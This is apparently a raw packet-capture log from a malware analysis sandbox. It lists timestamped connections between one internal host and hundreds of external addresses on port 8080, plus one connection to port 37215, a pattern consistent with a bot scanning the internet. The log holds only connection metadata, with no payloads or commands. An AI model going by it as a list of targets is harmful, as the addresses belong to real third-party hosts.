Feb 27, 2025 07:08:34.566267967 CET	25538	8080	192.168.2.14	85.96.24.236
Feb 27, 2025 07:08:34.566271067 CET	25538	8080	192.168.2.14	31.131.207.146
Feb 27, 2025 07:08:34.566279888 CET	8080	25538	31.41.134.37	192.168.2.14
Feb 27, 2025 07:08:34.566286087 CET	25538	8080	192.168.2.14	62.65.191.198
Feb 27, 2025 07:08:34.566287041 CET	25538	8080	192.168.2.14	85.78.192.75
Feb 27, 2025 07:08:34.566291094 CET	8080	25538	95.112.49.179	192.168.2.14
Feb 27, 2025 07:08:34.566303968 CET	8080	25538	95.99.234.139	192.168.2.14
Feb 27, 2025 07:08:34.566304922 CET	25538	8080	192.168.2.14	31.176.36.110
Feb 27, 2025 07:08:34.566312075 CET	25538	8080	192.168.2.14	95.214.47.241
Feb 27, 2025 07:08:34.566314936 CET	8080	25538	95.7.126.251	192.168.2.14
Feb 27, 2025 07:08:34.566319942 CET	25538	8080	192.168.2.14	95.112.49.179
Feb 27, 2025 07:08:34.566325903 CET	8080	25538	85.94.155.176	192.168.2.14
Feb 27, 2025 07:08:34.566329002 CET	25538	8080	192.168.2.14	31.41.134.37
Feb 27, 2025 07:08:34.566338062 CET	8080	25538	62.24.37.215	192.168.2.14
Feb 27, 2025 07:08:34.566349030 CET	25538	8080	192.168.2.14	95.7.126.251
Feb 27, 2025 07:08:34.566349030 CET	8080	25538	95.249.130.172	192.168.2.14
Feb 27, 2025 07:08:34.566358089 CET	25538	8080	192.168.2.14	95.99.234.139
Feb 27, 2025 07:08:34.566358089 CET	25538	8080	192.168.2.14	85.94.155.176
Feb 27, 2025 07:08:34.566360950 CET	8080	25538	95.157.195.126	192.168.2.14
Feb 27, 2025 07:08:34.566366911 CET	25538	8080	192.168.2.14	62.24.37.215
Feb 27, 2025 07:08:34.566371918 CET	8080	25538	95.153.73.4	192.168.2.14
Feb 27, 2025 07:08:34.566382885 CET	25538	8080	192.168.2.14	95.249.130.172
Feb 27, 2025 07:08:34.566385031 CET	8080	25538	95.11.98.121	192.168.2.14
Feb 27, 2025 07:08:34.566389084 CET	25538	8080	192.168.2.14	95.157.195.126
Feb 27, 2025 07:08:34.566396952 CET	8080	25538	95.90.222.226	192.168.2.14
Feb 27, 2025 07:08:34.566406965 CET	8080	25538	95.76.55.241	192.168.2.14
Feb 27, 2025 07:08:34.566409111 CET	25538	8080	192.168.2.14	95.153.73.4
Feb 27, 2025 07:08:34.566415071 CET	8080	25538	95.245.108.104	192.168.2.14
Feb 27, 2025 07:08:34.566427946 CET	8080	25538	95.33.1.3	192.168.2.14
Feb 27, 2025 07:08:34.566435099 CET	25538	8080	192.168.2.14	95.76.55.241
Feb 27, 2025 07:08:34.566437006 CET	8080	25538	85.143.62.137	192.168.2.14
Feb 27, 2025 07:08:34.566442966 CET	25538	8080	192.168.2.14	95.90.222.226
Feb 27, 2025 07:08:34.566446066 CET	8080	25538	31.172.240.249	192.168.2.14
Feb 27, 2025 07:08:34.566459894 CET	8080	25538	62.247.95.84	192.168.2.14
Feb 27, 2025 07:08:34.566461086 CET	25538	8080	192.168.2.14	95.33.1.3
Feb 27, 2025 07:08:34.566468000 CET	25538	8080	192.168.2.14	85.143.62.137
Feb 27, 2025 07:08:34.566472054 CET	8080	25538	94.121.89.17	192.168.2.14
Feb 27, 2025 07:08:34.566481113 CET	8080	25538	95.68.49.202	192.168.2.14
Feb 27, 2025 07:08:34.566490889 CET	8080	25538	62.40.32.147	192.168.2.14
Feb 27, 2025 07:08:34.566502094 CET	8080	25538	85.195.12.101	192.168.2.14
Feb 27, 2025 07:08:34.566502094 CET	25538	8080	192.168.2.14	62.247.95.84
Feb 27, 2025 07:08:34.566502094 CET	25538	8080	192.168.2.14	95.11.98.121
Feb 27, 2025 07:08:34.566507101 CET	25538	8080	192.168.2.14	95.68.49.202
Feb 27, 2025 07:08:34.566514015 CET	8080	25538	95.92.222.75	192.168.2.14
Feb 27, 2025 07:08:34.566520929 CET	25538	8080	192.168.2.14	94.121.89.17
Feb 27, 2025 07:08:34.566524982 CET	25538	8080	192.168.2.14	31.172.240.249
Feb 27, 2025 07:08:34.566524982 CET	8080	25538	94.210.174.79	192.168.2.14
Feb 27, 2025 07:08:34.566528082 CET	25538	8080	192.168.2.14	95.245.108.104
Feb 27, 2025 07:08:34.566530943 CET	25538	8080	192.168.2.14	62.40.32.147
Feb 27, 2025 07:08:34.566536903 CET	8080	25538	31.187.90.192	192.168.2.14
Feb 27, 2025 07:08:34.566538095 CET	25538	8080	192.168.2.14	85.195.12.101
Feb 27, 2025 07:08:34.566548109 CET	8080	25538	85.3.15.208	192.168.2.14
Feb 27, 2025 07:08:34.566549063 CET	25538	8080	192.168.2.14	95.92.222.75
Feb 27, 2025 07:08:34.566559076 CET	25538	8080	192.168.2.14	31.187.90.192
Feb 27, 2025 07:08:34.566560030 CET	8080	25538	95.130.208.100	192.168.2.14
Feb 27, 2025 07:08:34.566559076 CET	25538	8080	192.168.2.14	94.210.174.79
Feb 27, 2025 07:08:34.566571951 CET	8080	25538	95.243.196.170	192.168.2.14
Feb 27, 2025 07:08:34.566581011 CET	25538	8080	192.168.2.14	85.3.15.208
Feb 27, 2025 07:08:34.566581964 CET	8080	25538	94.110.46.244	192.168.2.14
Feb 27, 2025 07:08:34.566593885 CET	8080	25538	95.194.151.56	192.168.2.14
Feb 27, 2025 07:08:34.566595078 CET	25538	8080	192.168.2.14	95.130.208.100
Feb 27, 2025 07:08:34.566600084 CET	8080	25538	31.25.11.201	192.168.2.14
Feb 27, 2025 07:08:34.566606045 CET	25538	8080	192.168.2.14	95.243.196.170
Feb 27, 2025 07:08:34.566611052 CET	8080	25538	95.109.71.220	192.168.2.14
Feb 27, 2025 07:08:34.566622019 CET	8080	25538	31.213.199.150	192.168.2.14
Feb 27, 2025 07:08:34.566625118 CET	25538	8080	192.168.2.14	95.194.151.56
Feb 27, 2025 07:08:34.566629887 CET	25538	8080	192.168.2.14	31.25.11.201
Feb 27, 2025 07:08:34.566632986 CET	8080	25538	62.170.28.131	192.168.2.14
Feb 27, 2025 07:08:34.566642046 CET	25538	8080	192.168.2.14	94.110.46.244
Feb 27, 2025 07:08:34.566643953 CET	8080	25538	94.158.30.162	192.168.2.14
Feb 27, 2025 07:08:34.566652060 CET	25538	8080	192.168.2.14	31.213.199.150
Feb 27, 2025 07:08:34.566654921 CET	25538	8080	192.168.2.14	95.109.71.220
Feb 27, 2025 07:08:34.566665888 CET	25538	8080	192.168.2.14	62.170.28.131
Feb 27, 2025 07:08:34.566679001 CET	25538	8080	192.168.2.14	94.158.30.162
Feb 27, 2025 07:08:34.567054987 CET	39058	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.567132950 CET	8080	25538	95.105.63.5	192.168.2.14
Feb 27, 2025 07:08:34.567143917 CET	8080	25538	62.17.246.134	192.168.2.14
Feb 27, 2025 07:08:34.567152977 CET	8080	25538	31.242.184.56	192.168.2.14
Feb 27, 2025 07:08:34.567163944 CET	8080	25538	94.84.70.135	192.168.2.14
Feb 27, 2025 07:08:34.567173958 CET	8080	25538	31.196.198.90	192.168.2.14
Feb 27, 2025 07:08:34.567173958 CET	25538	8080	192.168.2.14	95.105.63.5
Feb 27, 2025 07:08:34.567183971 CET	8080	25538	85.170.58.74	192.168.2.14
Feb 27, 2025 07:08:34.567190886 CET	25538	8080	192.168.2.14	62.17.246.134
Feb 27, 2025 07:08:34.567192078 CET	25538	8080	192.168.2.14	31.242.184.56
Feb 27, 2025 07:08:34.567192078 CET	25538	8080	192.168.2.14	94.84.70.135
Feb 27, 2025 07:08:34.567193985 CET	8080	25538	62.209.169.3	192.168.2.14
Feb 27, 2025 07:08:34.567203999 CET	8080	25538	94.122.145.61	192.168.2.14
Feb 27, 2025 07:08:34.567213058 CET	25538	8080	192.168.2.14	85.170.58.74
Feb 27, 2025 07:08:34.567215919 CET	8080	25538	85.27.33.224	192.168.2.14
Feb 27, 2025 07:08:34.567217112 CET	25538	8080	192.168.2.14	31.196.198.90
Feb 27, 2025 07:08:34.567224026 CET	25538	8080	192.168.2.14	62.209.169.3
Feb 27, 2025 07:08:34.567226887 CET	8080	25538	62.165.194.201	192.168.2.14
Feb 27, 2025 07:08:34.567236900 CET	25538	8080	192.168.2.14	94.122.145.61
Feb 27, 2025 07:08:34.567238092 CET	8080	25538	94.211.175.239	192.168.2.14
Feb 27, 2025 07:08:34.567245960 CET	25538	8080	192.168.2.14	85.27.33.224
Feb 27, 2025 07:08:34.567246914 CET	8080	25538	85.64.51.238	192.168.2.14
Feb 27, 2025 07:08:34.567257881 CET	8080	25538	95.197.82.150	192.168.2.14
Feb 27, 2025 07:08:34.567261934 CET	25538	8080	192.168.2.14	62.165.194.201
Feb 27, 2025 07:08:34.567266941 CET	25538	8080	192.168.2.14	94.211.175.239
Feb 27, 2025 07:08:34.567269087 CET	8080	25538	31.197.5.227	192.168.2.14
Feb 27, 2025 07:08:34.567280054 CET	8080	25538	94.165.4.240	192.168.2.14
Feb 27, 2025 07:08:34.567281961 CET	25538	8080	192.168.2.14	85.64.51.238
Feb 27, 2025 07:08:34.567290068 CET	8080	25538	31.184.68.222	192.168.2.14
Feb 27, 2025 07:08:34.567296028 CET	25538	8080	192.168.2.14	95.197.82.150
Feb 27, 2025 07:08:34.567301035 CET	8080	25538	95.199.122.142	192.168.2.14
Feb 27, 2025 07:08:34.567302942 CET	25538	8080	192.168.2.14	31.197.5.227
Feb 27, 2025 07:08:34.567320108 CET	8080	25538	85.20.112.36	192.168.2.14
Feb 27, 2025 07:08:34.567311049 CET	25538	8080	192.168.2.14	94.165.4.240
Feb 27, 2025 07:08:34.567327023 CET	25538	8080	192.168.2.14	31.184.68.222
Feb 27, 2025 07:08:34.567333937 CET	8080	25538	95.63.202.118	192.168.2.14
Feb 27, 2025 07:08:34.567343950 CET	8080	25538	85.127.184.45	192.168.2.14
Feb 27, 2025 07:08:34.567344904 CET	25538	8080	192.168.2.14	95.199.122.142
Feb 27, 2025 07:08:34.567349911 CET	8080	25538	62.136.26.43	192.168.2.14
Feb 27, 2025 07:08:34.567354918 CET	25538	8080	192.168.2.14	85.20.112.36
Feb 27, 2025 07:08:34.567356110 CET	8080	25538	95.143.62.50	192.168.2.14
Feb 27, 2025 07:08:34.567367077 CET	8080	25538	31.30.98.66	192.168.2.14
Feb 27, 2025 07:08:34.567369938 CET	25538	8080	192.168.2.14	95.63.202.118
Feb 27, 2025 07:08:34.567369938 CET	25538	8080	192.168.2.14	85.127.184.45
Feb 27, 2025 07:08:34.567378998 CET	8080	25538	85.139.151.188	192.168.2.14
Feb 27, 2025 07:08:34.567384958 CET	25538	8080	192.168.2.14	95.143.62.50
Feb 27, 2025 07:08:34.567385912 CET	25538	8080	192.168.2.14	62.136.26.43
Feb 27, 2025 07:08:34.567392111 CET	8080	25538	95.181.14.174	192.168.2.14
Feb 27, 2025 07:08:34.567401886 CET	8080	25538	31.191.102.228	192.168.2.14
Feb 27, 2025 07:08:34.567409992 CET	25538	8080	192.168.2.14	31.30.98.66
Feb 27, 2025 07:08:34.567409992 CET	25538	8080	192.168.2.14	85.139.151.188
Feb 27, 2025 07:08:34.567411900 CET	8080	25538	62.244.13.179	192.168.2.14
Feb 27, 2025 07:08:34.567421913 CET	8080	25538	31.33.57.99	192.168.2.14
Feb 27, 2025 07:08:34.567434072 CET	8080	25538	85.25.111.158	192.168.2.14
Feb 27, 2025 07:08:34.567440033 CET	25538	8080	192.168.2.14	62.244.13.179
Feb 27, 2025 07:08:34.567440987 CET	25538	8080	192.168.2.14	31.191.102.228
Feb 27, 2025 07:08:34.567441940 CET	25538	8080	192.168.2.14	95.181.14.174
Feb 27, 2025 07:08:34.567445993 CET	8080	25538	95.113.2.83	192.168.2.14
Feb 27, 2025 07:08:34.567457914 CET	8080	25538	94.116.216.62	192.168.2.14
Feb 27, 2025 07:08:34.567459106 CET	25538	8080	192.168.2.14	31.33.57.99
Feb 27, 2025 07:08:34.567468882 CET	8080	25538	62.177.136.203	192.168.2.14
Feb 27, 2025 07:08:34.567476034 CET	25538	8080	192.168.2.14	85.25.111.158
Feb 27, 2025 07:08:34.567480087 CET	8080	25538	94.108.84.34	192.168.2.14
Feb 27, 2025 07:08:34.567485094 CET	25538	8080	192.168.2.14	95.113.2.83
Feb 27, 2025 07:08:34.567491055 CET	8080	25538	94.216.13.210	192.168.2.14
Feb 27, 2025 07:08:34.567501068 CET	8080	25538	31.67.109.179	192.168.2.14
Feb 27, 2025 07:08:34.567503929 CET	25538	8080	192.168.2.14	94.116.216.62
Feb 27, 2025 07:08:34.567506075 CET	25538	8080	192.168.2.14	62.177.136.203
Feb 27, 2025 07:08:34.567512035 CET	8080	25538	85.45.8.105	192.168.2.14
Feb 27, 2025 07:08:34.567519903 CET	25538	8080	192.168.2.14	94.216.13.210
Feb 27, 2025 07:08:34.567523956 CET	8080	25538	85.75.89.178	192.168.2.14
Feb 27, 2025 07:08:34.567528963 CET	25538	8080	192.168.2.14	94.108.84.34
Feb 27, 2025 07:08:34.567534924 CET	25538	8080	192.168.2.14	31.67.109.179
Feb 27, 2025 07:08:34.567536116 CET	8080	25538	31.215.101.52	192.168.2.14
Feb 27, 2025 07:08:34.567539930 CET	25538	8080	192.168.2.14	85.45.8.105
Feb 27, 2025 07:08:34.567545891 CET	8080	25538	85.248.53.218	192.168.2.14
Feb 27, 2025 07:08:34.567553997 CET	8080	25538	85.12.150.170	192.168.2.14
Feb 27, 2025 07:08:34.567562103 CET	8080	25538	85.150.136.7	192.168.2.14
Feb 27, 2025 07:08:34.567598104 CET	25538	8080	192.168.2.14	85.12.150.170
Feb 27, 2025 07:08:34.567601919 CET	25538	8080	192.168.2.14	85.150.136.7
Feb 27, 2025 07:08:34.567704916 CET	25538	8080	192.168.2.14	85.75.89.178
Feb 27, 2025 07:08:34.567713022 CET	25538	8080	192.168.2.14	85.248.53.218
Feb 27, 2025 07:08:34.567713976 CET	25538	8080	192.168.2.14	31.215.101.52
Feb 27, 2025 07:08:34.571194887 CET	8080	25538	94.146.141.188	192.168.2.14
Feb 27, 2025 07:08:34.571209908 CET	8080	25538	85.255.107.106	192.168.2.14
Feb 27, 2025 07:08:34.571219921 CET	8080	25538	85.208.1.205	192.168.2.14
Feb 27, 2025 07:08:34.571230888 CET	8080	25538	95.153.215.95	192.168.2.14
Feb 27, 2025 07:08:34.571233034 CET	25538	8080	192.168.2.14	94.146.141.188
Feb 27, 2025 07:08:34.571240902 CET	8080	25538	94.228.151.255	192.168.2.14
Feb 27, 2025 07:08:34.571243048 CET	25538	8080	192.168.2.14	85.255.107.106
Feb 27, 2025 07:08:34.571253061 CET	8080	25538	31.213.93.12	192.168.2.14
Feb 27, 2025 07:08:34.571255922 CET	25538	8080	192.168.2.14	85.208.1.205
Feb 27, 2025 07:08:34.571259975 CET	25538	8080	192.168.2.14	95.153.215.95
Feb 27, 2025 07:08:34.571264029 CET	8080	25538	95.141.14.89	192.168.2.14
Feb 27, 2025 07:08:34.571275949 CET	8080	25538	62.251.248.47	192.168.2.14
Feb 27, 2025 07:08:34.571285009 CET	25538	8080	192.168.2.14	94.228.151.255
Feb 27, 2025 07:08:34.571286917 CET	8080	25538	94.76.163.173	192.168.2.14
Feb 27, 2025 07:08:34.571293116 CET	25538	8080	192.168.2.14	31.213.93.12
Feb 27, 2025 07:08:34.571293116 CET	25538	8080	192.168.2.14	95.141.14.89
Feb 27, 2025 07:08:34.571297884 CET	8080	25538	95.197.32.37	192.168.2.14
Feb 27, 2025 07:08:34.571306944 CET	25538	8080	192.168.2.14	62.251.248.47
Feb 27, 2025 07:08:34.571310043 CET	8080	25538	85.233.165.225	192.168.2.14
Feb 27, 2025 07:08:34.571329117 CET	8080	25538	85.30.160.248	192.168.2.14
Feb 27, 2025 07:08:34.571332932 CET	25538	8080	192.168.2.14	94.76.163.173
Feb 27, 2025 07:08:34.571341038 CET	8080	25538	31.81.147.236	192.168.2.14
Feb 27, 2025 07:08:34.571353912 CET	8080	25538	31.133.137.175	192.168.2.14
Feb 27, 2025 07:08:34.571363926 CET	8080	25538	94.79.236.115	192.168.2.14
Feb 27, 2025 07:08:34.571366072 CET	25538	8080	192.168.2.14	95.197.32.37
Feb 27, 2025 07:08:34.571373940 CET	8080	25538	85.9.202.184	192.168.2.14
Feb 27, 2025 07:08:34.571376085 CET	25538	8080	192.168.2.14	31.81.147.236
Feb 27, 2025 07:08:34.571377993 CET	25538	8080	192.168.2.14	85.233.165.225
Feb 27, 2025 07:08:34.571377993 CET	25538	8080	192.168.2.14	85.30.160.248
Feb 27, 2025 07:08:34.571384907 CET	8080	25538	94.142.243.169	192.168.2.14
Feb 27, 2025 07:08:34.571397066 CET	8080	25538	95.246.247.156	192.168.2.14
Feb 27, 2025 07:08:34.571408033 CET	8080	25538	85.208.240.228	192.168.2.14
Feb 27, 2025 07:08:34.571410894 CET	25538	8080	192.168.2.14	94.79.236.115
Feb 27, 2025 07:08:34.571413994 CET	25538	8080	192.168.2.14	85.9.202.184
Feb 27, 2025 07:08:34.571418047 CET	8080	25538	94.15.106.176	192.168.2.14
Feb 27, 2025 07:08:34.571428061 CET	8080	25538	31.95.229.44	192.168.2.14
Feb 27, 2025 07:08:34.571439028 CET	8080	25538	62.119.89.33	192.168.2.14
Feb 27, 2025 07:08:34.571449995 CET	25538	8080	192.168.2.14	94.142.243.169
Feb 27, 2025 07:08:34.571450949 CET	8080	25538	85.55.65.94	192.168.2.14
Feb 27, 2025 07:08:34.571456909 CET	25538	8080	192.168.2.14	94.15.106.176
Feb 27, 2025 07:08:34.571460009 CET	25538	8080	192.168.2.14	31.133.137.175
Feb 27, 2025 07:08:34.571460009 CET	25538	8080	192.168.2.14	95.246.247.156
Feb 27, 2025 07:08:34.571460009 CET	25538	8080	192.168.2.14	85.208.240.228
Feb 27, 2025 07:08:34.571461916 CET	8080	25538	62.242.101.38	192.168.2.14
Feb 27, 2025 07:08:34.571464062 CET	25538	8080	192.168.2.14	31.95.229.44
Feb 27, 2025 07:08:34.571475983 CET	8080	25538	31.27.123.138	192.168.2.14
Feb 27, 2025 07:08:34.571486950 CET	8080	25538	62.223.190.79	192.168.2.14
Feb 27, 2025 07:08:34.571492910 CET	25538	8080	192.168.2.14	62.242.101.38
Feb 27, 2025 07:08:34.571496964 CET	8080	25538	31.195.207.3	192.168.2.14
Feb 27, 2025 07:08:34.571508884 CET	8080	25538	31.200.199.21	192.168.2.14
Feb 27, 2025 07:08:34.571508884 CET	25538	8080	192.168.2.14	62.119.89.33
Feb 27, 2025 07:08:34.571520090 CET	8080	25538	95.32.194.221	192.168.2.14
Feb 27, 2025 07:08:34.571531057 CET	8080	25538	94.88.35.224	192.168.2.14
Feb 27, 2025 07:08:34.571540117 CET	8080	25538	85.29.107.174	192.168.2.14
Feb 27, 2025 07:08:34.571542978 CET	25538	8080	192.168.2.14	85.55.65.94
Feb 27, 2025 07:08:34.571542978 CET	25538	8080	192.168.2.14	31.27.123.138
Feb 27, 2025 07:08:34.571542978 CET	25538	8080	192.168.2.14	62.223.190.79
Feb 27, 2025 07:08:34.571551085 CET	8080	25538	62.127.216.201	192.168.2.14
Feb 27, 2025 07:08:34.571554899 CET	25538	8080	192.168.2.14	31.200.199.21
Feb 27, 2025 07:08:34.571554899 CET	25538	8080	192.168.2.14	31.195.207.3
Feb 27, 2025 07:08:34.571557999 CET	25538	8080	192.168.2.14	95.32.194.221
Feb 27, 2025 07:08:34.571563005 CET	8080	25538	62.120.4.49	192.168.2.14
Feb 27, 2025 07:08:34.571573019 CET	25538	8080	192.168.2.14	85.29.107.174
Feb 27, 2025 07:08:34.571574926 CET	8080	25538	94.242.170.77	192.168.2.14
Feb 27, 2025 07:08:34.571578026 CET	25538	8080	192.168.2.14	94.88.35.224
Feb 27, 2025 07:08:34.571585894 CET	8080	25538	62.246.203.18	192.168.2.14
Feb 27, 2025 07:08:34.571585894 CET	25538	8080	192.168.2.14	62.127.216.201
Feb 27, 2025 07:08:34.571594954 CET	25538	8080	192.168.2.14	62.120.4.49
Feb 27, 2025 07:08:34.571597099 CET	8080	25538	85.149.46.75	192.168.2.14
Feb 27, 2025 07:08:34.571609020 CET	8080	25538	94.217.170.107	192.168.2.14
Feb 27, 2025 07:08:34.571620941 CET	8080	25538	31.216.57.205	192.168.2.14
Feb 27, 2025 07:08:34.571631908 CET	8080	25538	94.242.227.165	192.168.2.14
Feb 27, 2025 07:08:34.571643114 CET	8080	25538	62.222.158.41	192.168.2.14
Feb 27, 2025 07:08:34.571675062 CET	25538	8080	192.168.2.14	94.242.227.165
Feb 27, 2025 07:08:34.571676016 CET	25538	8080	192.168.2.14	62.222.158.41
Feb 27, 2025 07:08:34.571676970 CET	25538	8080	192.168.2.14	31.216.57.205
Feb 27, 2025 07:08:34.571679115 CET	25538	8080	192.168.2.14	62.246.203.18
Feb 27, 2025 07:08:34.571680069 CET	25538	8080	192.168.2.14	94.217.170.107
Feb 27, 2025 07:08:34.571706057 CET	25538	8080	192.168.2.14	85.149.46.75
Feb 27, 2025 07:08:34.571706057 CET	25538	8080	192.168.2.14	94.242.170.77
Feb 27, 2025 07:08:34.572158098 CET	8080	25538	85.247.229.207	192.168.2.14
Feb 27, 2025 07:08:34.572171926 CET	8080	25538	31.237.46.215	192.168.2.14
Feb 27, 2025 07:08:34.572184086 CET	8080	25538	85.206.49.145	192.168.2.14
Feb 27, 2025 07:08:34.572187901 CET	25538	8080	192.168.2.14	85.247.229.207
Feb 27, 2025 07:08:34.572194099 CET	8080	25538	95.75.204.202	192.168.2.14
Feb 27, 2025 07:08:34.572205067 CET	8080	25538	94.63.202.245	192.168.2.14
Feb 27, 2025 07:08:34.572215080 CET	8080	25538	31.42.5.115	192.168.2.14
Feb 27, 2025 07:08:34.572226048 CET	8080	25538	62.164.91.224	192.168.2.14
Feb 27, 2025 07:08:34.572237015 CET	8080	25538	95.114.92.197	192.168.2.14
Feb 27, 2025 07:08:34.572240114 CET	25538	8080	192.168.2.14	85.206.49.145
Feb 27, 2025 07:08:34.572242022 CET	25538	8080	192.168.2.14	94.63.202.245
Feb 27, 2025 07:08:34.572247028 CET	25538	8080	192.168.2.14	31.237.46.215
Feb 27, 2025 07:08:34.572247982 CET	8080	25538	62.47.179.17	192.168.2.14
Feb 27, 2025 07:08:34.572259903 CET	8080	25538	31.137.183.7	192.168.2.14
Feb 27, 2025 07:08:34.572268009 CET	25538	8080	192.168.2.14	95.75.204.202
Feb 27, 2025 07:08:34.572269917 CET	25538	8080	192.168.2.14	31.42.5.115
Feb 27, 2025 07:08:34.572271109 CET	8080	25538	62.140.151.213	192.168.2.14
Feb 27, 2025 07:08:34.572273016 CET	25538	8080	192.168.2.14	62.164.91.224
Feb 27, 2025 07:08:34.572279930 CET	25538	8080	192.168.2.14	95.114.92.197
Feb 27, 2025 07:08:34.572283030 CET	8080	25538	94.179.51.219	192.168.2.14
Feb 27, 2025 07:08:34.572293997 CET	8080	25538	62.127.149.222	192.168.2.14
Feb 27, 2025 07:08:34.572304010 CET	8080	25538	31.19.100.103	192.168.2.14
Feb 27, 2025 07:08:34.572307110 CET	25538	8080	192.168.2.14	62.47.179.17
Feb 27, 2025 07:08:34.572313070 CET	25538	8080	192.168.2.14	31.137.183.7
Feb 27, 2025 07:08:34.572314024 CET	8080	25538	85.41.29.77	192.168.2.14
Feb 27, 2025 07:08:34.572320938 CET	25538	8080	192.168.2.14	62.140.151.213
Feb 27, 2025 07:08:34.572324991 CET	8080	25538	85.233.73.206	192.168.2.14
Feb 27, 2025 07:08:34.572328091 CET	25538	8080	192.168.2.14	94.179.51.219
Feb 27, 2025 07:08:34.572335005 CET	8080	25538	95.86.122.209	192.168.2.14
Feb 27, 2025 07:08:34.572340965 CET	25538	8080	192.168.2.14	31.19.100.103
Feb 27, 2025 07:08:34.572348118 CET	8080	25538	94.15.134.58	192.168.2.14
Feb 27, 2025 07:08:34.572350979 CET	25538	8080	192.168.2.14	62.127.149.222
Feb 27, 2025 07:08:34.572360039 CET	8080	25538	62.61.159.242	192.168.2.14
Feb 27, 2025 07:08:34.572371006 CET	8080	25538	31.201.148.57	192.168.2.14
Feb 27, 2025 07:08:34.572372913 CET	25538	8080	192.168.2.14	85.41.29.77
Feb 27, 2025 07:08:34.572381973 CET	8080	25538	62.30.161.245	192.168.2.14
Feb 27, 2025 07:08:34.572392941 CET	8080	25538	94.91.87.4	192.168.2.14
Feb 27, 2025 07:08:34.572397947 CET	25538	8080	192.168.2.14	95.86.122.209
Feb 27, 2025 07:08:34.572397947 CET	25538	8080	192.168.2.14	94.15.134.58
Feb 27, 2025 07:08:34.572402954 CET	8080	25538	94.189.150.11	192.168.2.14
Feb 27, 2025 07:08:34.572407007 CET	25538	8080	192.168.2.14	62.61.159.242
Feb 27, 2025 07:08:34.572407961 CET	25538	8080	192.168.2.14	85.233.73.206
Feb 27, 2025 07:08:34.572413921 CET	25538	8080	192.168.2.14	31.201.148.57
Feb 27, 2025 07:08:34.572413921 CET	8080	25538	95.76.214.123	192.168.2.14
Feb 27, 2025 07:08:34.572417021 CET	25538	8080	192.168.2.14	62.30.161.245
Feb 27, 2025 07:08:34.572417974 CET	25538	8080	192.168.2.14	94.91.87.4
Feb 27, 2025 07:08:34.572433949 CET	8080	25538	31.128.213.187	192.168.2.14
Feb 27, 2025 07:08:34.572446108 CET	8080	25538	62.165.193.69	192.168.2.14
Feb 27, 2025 07:08:34.572457075 CET	8080	25538	62.198.69.245	192.168.2.14
Feb 27, 2025 07:08:34.572467089 CET	8080	25538	31.59.44.217	192.168.2.14
Feb 27, 2025 07:08:34.572474003 CET	25538	8080	192.168.2.14	95.76.214.123
Feb 27, 2025 07:08:34.572477102 CET	8080	25538	85.130.203.151	192.168.2.14
Feb 27, 2025 07:08:34.572489023 CET	8080	25538	31.129.245.55	192.168.2.14
Feb 27, 2025 07:08:34.572499037 CET	8080	25538	31.171.232.105	192.168.2.14
Feb 27, 2025 07:08:34.572506905 CET	25538	8080	192.168.2.14	62.165.193.69
Feb 27, 2025 07:08:34.572509050 CET	8080	25538	94.98.180.26	192.168.2.14
Feb 27, 2025 07:08:34.572510958 CET	25538	8080	192.168.2.14	31.128.213.187
Feb 27, 2025 07:08:34.572510958 CET	25538	8080	192.168.2.14	85.130.203.151
Feb 27, 2025 07:08:34.572515011 CET	8080	25538	94.217.83.130	192.168.2.14
Feb 27, 2025 07:08:34.572515965 CET	25538	8080	192.168.2.14	62.198.69.245
Feb 27, 2025 07:08:34.572515965 CET	25538	8080	192.168.2.14	94.189.150.11
Feb 27, 2025 07:08:34.572520971 CET	8080	25538	31.129.67.103	192.168.2.14
Feb 27, 2025 07:08:34.572526932 CET	8080	25538	85.127.193.206	192.168.2.14
Feb 27, 2025 07:08:34.572532892 CET	25538	8080	192.168.2.14	31.129.245.55
Feb 27, 2025 07:08:34.572536945 CET	8080	25538	94.222.5.9	192.168.2.14
Feb 27, 2025 07:08:34.572546959 CET	8080	25538	85.128.173.60	192.168.2.14
Feb 27, 2025 07:08:34.572554111 CET	25538	8080	192.168.2.14	31.59.44.217
Feb 27, 2025 07:08:34.572556973 CET	25538	8080	192.168.2.14	85.127.193.206
Feb 27, 2025 07:08:34.572557926 CET	25538	8080	192.168.2.14	94.217.83.130
Feb 27, 2025 07:08:34.572559118 CET	8080	25538	85.36.214.14	192.168.2.14
Feb 27, 2025 07:08:34.572560072 CET	25538	8080	192.168.2.14	31.171.232.105
Feb 27, 2025 07:08:34.572560072 CET	25538	8080	192.168.2.14	94.98.180.26
Feb 27, 2025 07:08:34.572560072 CET	25538	8080	192.168.2.14	31.129.67.103
Feb 27, 2025 07:08:34.572568893 CET	25538	8080	192.168.2.14	94.222.5.9
Feb 27, 2025 07:08:34.572568893 CET	8080	25538	85.225.135.37	192.168.2.14
Feb 27, 2025 07:08:34.572586060 CET	8080	25538	94.36.82.210	192.168.2.14
Feb 27, 2025 07:08:34.572603941 CET	8080	25538	94.133.84.141	192.168.2.14
Feb 27, 2025 07:08:34.572618008 CET	25538	8080	192.168.2.14	85.128.173.60
Feb 27, 2025 07:08:34.572654963 CET	25538	8080	192.168.2.14	85.36.214.14
Feb 27, 2025 07:08:34.572654963 CET	25538	8080	192.168.2.14	94.36.82.210
Feb 27, 2025 07:08:34.572654963 CET	25538	8080	192.168.2.14	85.225.135.37
Feb 27, 2025 07:08:34.572662115 CET	25538	8080	192.168.2.14	94.133.84.141
Feb 27, 2025 07:08:34.576155901 CET	8080	25538	95.215.245.100	192.168.2.14
Feb 27, 2025 07:08:34.576170921 CET	8080	25538	62.52.201.46	192.168.2.14
Feb 27, 2025 07:08:34.576181889 CET	8080	25538	31.72.17.201	192.168.2.14
Feb 27, 2025 07:08:34.576194048 CET	8080	25538	95.68.46.42	192.168.2.14
Feb 27, 2025 07:08:34.576200008 CET	25538	8080	192.168.2.14	95.215.245.100
Feb 27, 2025 07:08:34.576205015 CET	8080	25538	62.231.251.52	192.168.2.14
Feb 27, 2025 07:08:34.576216936 CET	8080	25538	95.176.160.222	192.168.2.14
Feb 27, 2025 07:08:34.576216936 CET	25538	8080	192.168.2.14	62.52.201.46
Feb 27, 2025 07:08:34.576224089 CET	25538	8080	192.168.2.14	31.72.17.201
Feb 27, 2025 07:08:34.576224089 CET	25538	8080	192.168.2.14	95.68.46.42
Feb 27, 2025 07:08:34.576224089 CET	25538	8080	192.168.2.14	62.231.251.52
Feb 27, 2025 07:08:34.576227903 CET	8080	25538	94.138.191.199	192.168.2.14
Feb 27, 2025 07:08:34.576240063 CET	8080	25538	85.158.94.183	192.168.2.14
Feb 27, 2025 07:08:34.576251030 CET	8080	25538	62.13.245.164	192.168.2.14
